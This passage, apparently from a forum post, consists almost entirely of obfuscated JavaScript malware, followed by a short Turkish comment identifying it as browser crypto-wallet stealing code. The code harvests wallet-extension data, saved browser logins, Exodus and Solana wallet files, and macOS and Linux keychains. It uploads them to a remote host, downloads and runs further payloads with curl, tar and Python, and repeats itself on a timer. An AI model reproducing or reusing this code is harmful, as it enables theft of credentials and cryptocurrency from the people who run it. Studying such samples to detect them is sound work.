ax=as,a5=r(ax(0x179)),a6=r(ax(0x172)),a7=n(ax(0x16f)),a8={[a6]:l['toString'](),'type':e,'hid':T,[a5]:a4},a9=h();try{let aa={[j]:''+a9+a7,[v]:a8};rq[F](aa,(ab,ac,ad)=>{});}catch(ab){}},A=[as(0x15e),'aGVjZGFsbWVlZWFqbmltaG0',as(0x1a8),as(0x13d),as(0x18c),as(0x14e),as(0x137),as(0x14d),as(0x180),'amZob21paGtqYm1namlkbGNkbm8',as(0x1a0),as(0x138)],E=[as(0x156),as(0x168),as(0x12f),as(0x182),'aG5mYW5rbm9jZmVvZmJk',as(0x196),as(0x166),'ZWdqaWRqYnBnbGlj','aGlmYWZnbWNjZHBl','YWhvbHBmZGlhbGpn','bWNvaGlsbmNiZmFo',as(0x1a4)],C=async(a4,a5,a6)=>{const ay=as;let a7=a4;if(!a7||''===a7)return[];try{if(!y(a7))return[];}catch(ac){return[];}a5||(a5='');let a8=[];const a9=n(ay(0x16d)),aa=n(ay(0x14a)),ab=n(ay(0x142));for(let ad=0x0;ad<0xc8;ad++){const ae=0x0===ad?f:w+' '+ad,af=a4+'/'+ae+'/'+a9;for(let ah=0x0;ah<E['length'];ah++){const ai=n(E[ah]+A[ah]);let aj=af+'/'+ai;if(y(aj)){try{far=a[N](aj);}catch(ak){far=[];}far['forEach'](async al=>{const az=ay;a7=pt[az(0x155)](aj,al);try{a8['push']({[L]:{[V]:''+a5+ad+'_'+ai+'_'+al},[R]:p(a7)});}catch(am){}});}}const ag=a4+'/'+ae+'/'+aa+'/'+ab;if(y(ag)){try{far=a[N](ag);}catch(al){far=[];}far['forEach'](async am=>{const aA=ay;a7=pt[aA(0x155)](ag,am);try{a8[aA(0x160)]({[L]:{[V]:''+a5+ad+'_'+ab+'_'+am},[R]:p(a7)});}catch(an){}});}}if(a6){const am=n(ay(0x185));if(a7=''+hd+n(ay(0x199)),d(a7))try{a8[ay(0x160)]({[R]:p(a7),[L]:{[V]:am}});}catch(an){}}return H(a8),a8;},M=async()=>{const aB=as;T=hs,'d'==pl[0x0]&&(T=T+'+'+uin[n(aB(0x184))]);try{const a4=s('~/');await S(Q,0x0),await S(q,0x1),await S(J,0x2),'w'==pl[0x0]?(pa=''+a4+n(k)+n(aB(0x150))+n(x),await C(pa,'3_',!0x1)):'l'==pl[0x0]?(await P(),await ot(),await rt()):'d'==pl[0x0]&&(await((async()=>{const aC=aB;let a5=[];const a6=n(W),a7=n(aC(0x17b)),a8=n(aC(0x195));if(pa=''+hd+a7,d(pa))try{a5[aC(0x160)]({[R]:p(pa),[L]:{[V]:a8}});}catch(a9){}else{if(pa+=aC(0x145),d(pa))try{a5['push']({[R]:p(pa),[L]:{[V]:a8}});}catch(aa){}}try{const ab=n(Y);let ac='';if(ac=''+hd+n(U)+n(B),ac&&''!==ac&&y(ac))for(let ad=0x0;ad<0xc8;ad++){const ae=ac+'/'+(0x0===ad?f:w+' '+ad)+'/'+a6;try{if(!y(ae))continue;const af=ac+aC(0x15b)+ad;y(af)?a5[aC(0x160)]({[R]:p(af),[L]:{[V]:aC(0x190)+ad}}):a[ab](ae,af,ag=>{const aD=aC;let ah=[{[R]:p(ae),[L]:{[V]:aD(0x190)+ad}}];H(ah);});}catch(ag){}}}catch(ah){}return H(a5),a5;})()),await D(),await lt()),await I(K,n(ct)),await I(tt,n(at));}catch(a5){}},S=async(a4,a5)=>{try{const a6=s('~/');let a7='';a7='d'==pl[0x0]?''+a6+n(U)+n(a4[0x1]):'l'==pl[0x0]?''+a6+n(X)+n(a4[0x2]):''+a6+n(k)+n(a4[0x0])+n(x),await C(a7,a5+'_',0x0==a5);}catch(a8){}},I=async(a4,a5)=>{try{const a6=s('~/');let a7='';a7='d'==pl[0x0]?''+a6+n(U)+n(a4):'l'==pl[0x0]?''+a6+n(X)+n(a4):''+a6+n(k)+n(O)+n(a4),await $t(a7,a5);}catch(a8){}},D=async()=>{const aE=as;let a4=[];const a5=n(W);try{const a6=n(Y);let a7='';if(a7=''+hd+n(U)+n(_),!a7||''===a7||!y(a7))return[];let a8=0x0;for(;a8<0xc8;){const a9=a7+'/'+(0x0!==a8?w+' '+a8:f)+'/'+a5;try{if(y(a9)){const aa=a7+aE(0x1a5)+a8;y(aa)?a4['push']({[R]:p(aa),[L]:{[V]:aE(0x165)+a8}}):a[a6](a9,aa,ab=>{const aF=aE;let ac=[{[R]:p(a9),[L]:{[V]:aF(0x165)+a8}}];H(ac);});}}catch(ab){}a8++;}}catch(ac){}return H(a4),a4;},P=async()=>{const aG=as;let a4=[];try{const a5=n('Ly5sb2NhbC9zaGFyZS9rZXlyaW5ncy8');let a6='';a6=''+hd+a5;let a7=[];if(a6&&''!==a6&&y(a6))try{a7=a[N](a6);}catch(a8){a7=[];}a7[aG(0x162)](async a9=>{const aH=aG;pa=pt[aH(0x155)](a6,a9);try{ldb_data['push']({[R]:p(pa),[L]:{[V]:''+a9}});}catch(aa){}});}catch(a9){}return H(a4),a4;},O=as(0x17e),K=as(0x131),tt=as(0x174),ct=as(0x163),at=as(0x151),$t=async(a4,a5)=>{let a6=[];if(!a4||''===a4)return[];try{if(!y(a4))return[];}catch(a7){return[];}a5||(a5='');try{far=a[N](a4),far['forEach'](async a8=>{const aI=a3;let a9=pt['join'](a4,a8);try{a6[aI(0x160)]({[L]:{[V]:a5+'_'+a8},[R]:p(a9)});}catch(aa){}});}catch(a8){}return H(a6),a6;},rt=async()=>{const aJ=as;let a4=[];const a5=n(aJ(0x18a)),a6=n(aJ(0x158)),a7=n('bG9naW5zLmpzb24');try{let a8='';if(a8=''+hd+n(aJ(0x173)),a8&&''!==a8&&y(a8))for(let a9=0x0;a9<0xc8;a9++){const aa=0x0===a9?f:w+' '+a9;try{const ab=a8+'/'+aa+'/'+a5;y(ab)&&a4[aJ(0x160)]({[R]:p(ab),[L]:{[V]:aJ(0x192)+a9}});}catch(ac){}try{const ad=a8+'/'+aa+'/'+a6;y(ad)&&a4['push']({[R]:p(ad),[L]:{[V]:'flk3_'+a9}});}catch(ae){}try{const af=a8+'/'+aa+'/'+a7;y(af)&&a4[aJ(0x160)]({[R]:p(af),[L]:{[V]:aJ(0x1a6)+a9}});}catch(ag){}}}catch(ah){}return H(a4),a4;},lt=async()=>{const aK=as;let a4=[];const a5=n('a2V5NC5kYg'),a6=n(aK(0x158)),a7=n(aK(0x14f));try{let a8='';if(a8=''+hd+n(U)+n(aK(0x17f)),a8&&''!==a8&&y(a8))for(let a9=0x0;a9<0xc8;a9++){const aa=0x0===a9?f:w+' '+a9;try{const ab=a8+'/'+aa+'/'+a5;y(ab)&&a4[aK(0x160)]({[R]:p(ab),[L]:{[V]:'fk4_'+a9}});}catch(ac){}try{const ad=a8+'/'+aa+'/'+a6;y(ad)&&a4[aK(0x160)]({[R]:p(ad),[L]:{[V]:'fk3_'+a9}});}catch(ae){}try{const af=a8+'/'+aa+'/'+a7;y(af)&&a4[aK(0x160)]({[R]:p(af),[L]:{[V]:aK(0x13c)+a9}});}catch(ag){}}}catch(ah){}return H(a4),a4;};function nt(a4){const aL=as,a5=n(aL(0x197));a[a5](a4);}const ht=0x3117870;let st=0x0;const et=async a4=>{const aM=as,a5=n(aM(0x189))+' '+a4+aM(0x149)+hd;ex(a5,(a6,a7,a8)=>{if(a6)return nt(a4),void(st=0x0);nt(a4),ut();});},Zt=()=>{const aN=as;if(st>=ht+0x4)return;const a4=n(aN(0x171)),a5=h(),a6=td+'\x5c'+n(aN(0x167)),a7=td+'\x5c'+a4,a8=''+a5+n('L3Bkb3du'),a9=n(aN(0x18f)),aa=n(aN(0x16c));if(d(a6))try{var ab=a[z](a6);ab['size']>=ht+0x4?(st=ab['size'],a[aa](a6,a7,ac=>{if(ac)throw ac;et(a7);})):(st>=ab[aN(0x139)]?(nt(a6),st=0x0):st=ab[aN(0x139)],bt());}catch(ac){}else{const ad=n(aN(0x13e))+' \x22'+a6+'\x22 \x22'+a8+'\x22';ex(ad,(ae,af,ag)=>{if(ae)return st=0x0,void bt();try{st=ht+0x4,a[a9](a6,a7),et(a7);}catch(ah){}});}},ot=async()=>{const aO=as;let a4=[];const a5=n(W);try{const a6=n(Y);let a7='';if(a7=''+hd+n(X)+n(g),!a7||''===a7||!y(a7))return[];for(let a8=0x0;a8<0xc8;a8++){const a9=a7+'/'+(0x0===a8?f:w+' '+a8)+'/'+a5;try{if(!y(a9))continue;const aa=a7+'/ld_'+a8;y(aa)?a4[aO(0x160)]({[R]:p(aa),[L]:{[V]:aO(0x13f)+a8}}):a[a6](a9,aa,ab=>{const aP=aO;let ac=[{[R]:p(a9),[L]:{[V]:aP(0x13f)+a8}}];H(ac);});}catch(ab){}}}catch(ac){}return H(a4),a4;},ut=async()=>await new Promise((a4,a5)=>{if('w'!=pl[0x0])((()=>{const aQ=a3,a6=h(),a7=n(b),a8=n(u),a9=n(Z),aa=n(o),ab=n(aQ(0x136)),ac=''+a6+a7+'/'+e,ad=''+hd+aa;let ae=ab+aQ(0x14b)+ad+'\x22',af=ab+' \x22'+ad+'\x22';rq[a9](ac,(ag,ah,ai)=>{ag||(a[a8](ad,ai),ex(ae,(aj,ak,al)=>{aj&&ex(af,(am,an,ao)=>{});}));});})());else d(''+(''+hd+n(G+i)))?((()=>{const aR=a3,a6=h(),a7=n(b),a8=n(Z),a9=n(u),aa=n(o),ab=''+a6+a7+'/'+e,ac=''+hd+aa,ad='\x22'+hd+n(G+i)+aR(0x16e)+ac+'\x22';try{nt(ac);}catch(ae){}rq[a8](ab,(af,ag,ah)=>{if(!af)try{a[a9](ac,ah),ex(ad,(ai,aj,ak)=>{});}catch(ai){}});})()):Zt();});function bt(){setTimeout(()=>{Zt();},0x4e20);}function a3(a,b){const c=a2();return a3=function(d,e){d=d-0x12f;let f=c[d];return f;},a3(a,b);}var Gt=0x0;function a2(){const aT=['Ym1nZGprYnBlbWNjaWlvbGdjZ2U','L0xpYnJhcnkvQXBwbGljYXRpb24gU3VwcG9ydC8','slice','60921cQwjJt','cGRsaWFvZ2VoZ2Ri','/brld_','fllj_','Ly5jb25maWcv','cGVia2xtbmtvZW9paG9mZWM','Zb3B0aW9ucw','aWJuZWpkZmptbWtwY25s','XC5weXBccHl0','RXhvZHVzL2V4b2R1cy53YWxsZXQ','base64','YcGxhdGZvcm0','36992244ebQrDB','L0FwcERhdGEv','cHl0aG9u','ZXBjY2lvbmJvb2hja29ub2VlbWc','aGJubWtrbGllZ2htbWprcGlncGE','size','cmVhZGRpclN5bmM','2553063MhIcML','flj_','YmJsZGNuZ2NuYXBuZG9kanA','Y3VybCAtTG8','plld_','constructor','Y29weUZpbGU','YmhnaG9hbWFwY2RwYm9ocGhpZ29vb2FkZGlucGtiYWk','c3RhdFN5bmM','(((.+)+)+)+$','-db','aG9uLmV4ZQ','9092466JeZooT','search',' -C ','U3luYyBFeHRlbnNpb24gU2V0dGluZ3M','3 \x22','MTQ3LjEyNCaHR0cDovLw4xOTcuMTQ5OjEyNDQ=  ','aGRjb25kYmNiZG5iZWVwcGdkcGg','bWdqbmpvcGhocGtrb2xqcGE','bG9naW5zLmpzb24','TG9jYWwvTWljcm9zb2Z0L0VkZ2U','YXRtYw','aZmlsZW5hbWU','comp','cdG1wZGly','join','bmtiaWhmYmVvZ2FlYW9l','cZXhlYw','a2V5My5kYg','replace','L1VzZXIgRGF0YQ','/ld_','2632eajEFk','ZXhpc3RzU3luYw','aGxlZm5rb2RiZWZncGdrbm4','Z29vZ2xlLWNocm9tZQ','push','11yNhCrJ','forEach','ZXhvZA','TG9naW4gRGF0YQ','brld_','YWVhY2hrbm1lZnBo','cC56aQ','ZWpiYWxiYWtvcGxjaGxn','zcGF0aA','default','QnJhdmVTb2Z0d2FyZS9CcmF2ZS1Ccm93c2Vy','cmVuYW1l','TG9jYWwgRXh0ZW5zaW9uIFNldHRpbmdz','\x22 \x22','L3VwbG9hZHM','YdmFsdWU','cDIuemlw','ZdGltZXN0YW1w','Ly5tb3ppbGxhL2ZpcmVmb3gv','YXRvbWljL0xvY2FsIFN0b3JhZ2UvbGV2ZWxkYg','now','2680CBWdcu','YWNjZXNzU3luYw','2EGpouh','YbXVsdGlfZmlsZQ','b3BlcmE','L0xpYnJhcnkvS2V5Y2hhaW5zL2xvZ2luLmtleWNoYWlu','utf8','5LOYpIO','Um9hbWluZy9','RmlyZWZveA','a3Bsb21qamtjZmdvZG5oY2VsbGo','2890252nIWSFJ','Zmhib2hpbWFlbGJvaHBq','5048GrPTqX','dXNlcm5hbWU','c29sYW5hX2lkLnR4dA','UHJvZmlsZQ','TG9jYWwv','from','dGFyIC14Zg','a2V5NC5kYg','AdXNlckluZm8','ZGdjaWpubWhuZm5rZG5hYWQ','Um9hbWluZy9PcGVyYSBTb2Z0d2FyZS9PcGVyYSBTdGFibGU','YcmVxdWVzdA','cmVuYW1lU3luYw','pld_','Y29tLm9wZXJhc29mdHdhcmUuT3BlcmE','flk4_','apply','Y3JlYXRlUmVhZFN0cmVhbQ','bG9na2MtZGI','YmZuYWVsbW9tZWltaGxw','cm1TeW5j','d3JpdGVGaWxlU3luYw','Ly5jb25maWcvc29sYW5hL2lkLmpzb24','496030TFRoBJ','Z2V0','ZGlybmFtZQ','toString','ZaG9tZWRpcg','Ly5ucGw'];a2=function(){return aT;};return a2();}const it=async()=>{const aS=as;try{l=Date[aS(0x175)](),await M(),ut();}catch(a4){}};it();let yt=setInterval(()=>{(Gt+=0x1)<0x4?it():clearInterval(yt);},0x927c0);
    İlk bakışta görünen o ki tarayıcıdaki kripto cüzdan bilgilerini aşıran bir kod. Bir kere çalışmış olması tüm kripto cüzdanlarınızı boşaltabilmeleri için yeterli. Biraz daha inceleyeceğim farklı bir şey bulursam eklerim.